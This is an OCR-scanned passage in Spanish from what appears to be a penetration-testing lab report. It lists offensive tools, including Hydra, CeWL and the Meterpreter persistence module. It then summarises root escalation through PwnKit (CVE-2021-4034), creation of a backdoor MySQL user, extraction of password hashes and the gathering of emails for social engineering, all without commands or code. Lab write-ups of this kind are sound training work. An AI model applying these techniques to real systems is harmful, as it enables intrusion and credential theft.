e Drupal: CMS (Content Management System) que usa MySQL como backend; puede ser
objetivo de ataques si estd mal configurado.

e LinEnum: Script de enumeracion local que detecta vectores de escalamiento en sistemas
Linux.

e Hydra: Herramienta para realizar ataques de fuerza bruta contra servicios como SSH, FTP,
MySQL, etc.

e CeWL: Herramienta para generar diccionarios personalizados a partir de contenido web,
util para crackeo de contrasefias.

e VirtualBox: Plataforma de virtualizacion usada para montar entornos de laboratorio y
pruebas de seguridad.Persistence: mdodulo de post-explotacion de Meterpreter para plantar
un backdoor que sobreviva reinicios.

Conclusiones

Durante el desarrollo de este laboratorio, logré identificar y explotar multiples vectores de
vulnerabilidad en un entorno Linux con servicios Drupal y MySQL. A partir de un acceso inicial
como usuario limitado (tiago), ejecuté un proceso metddico de escalamiento de privilegios,
extraccion de credenciales y persistencia en el sistema.

Entre los hallazgos mas relevantes destaco:

o Escalamiento exitoso a root mediante explotacion de la vulnerabilidad PwnKit (CVE-
2021-4034), aprovechando la version vulnerable de pkexec (0.105).

e Acceso completo a MySQL como usuario administrador, lo que me permiti6 crear un
nuevo usuario (daniel) con privilegios totales y persistentes.

o Extraccion de hashes de contrasefias desde la tabla users, con potencial para crackeo
offline mediante herramientas como john o hashcat.

o Identificacion de cuentas inactivas y correos electronicos utiles para ingenieria social o
ataques dirigidos.

e Documentacion detallada de cada paso, incluyendo comandos ejecutados, errores
encontrados, soluciones aplicadas y evidencias visuales.
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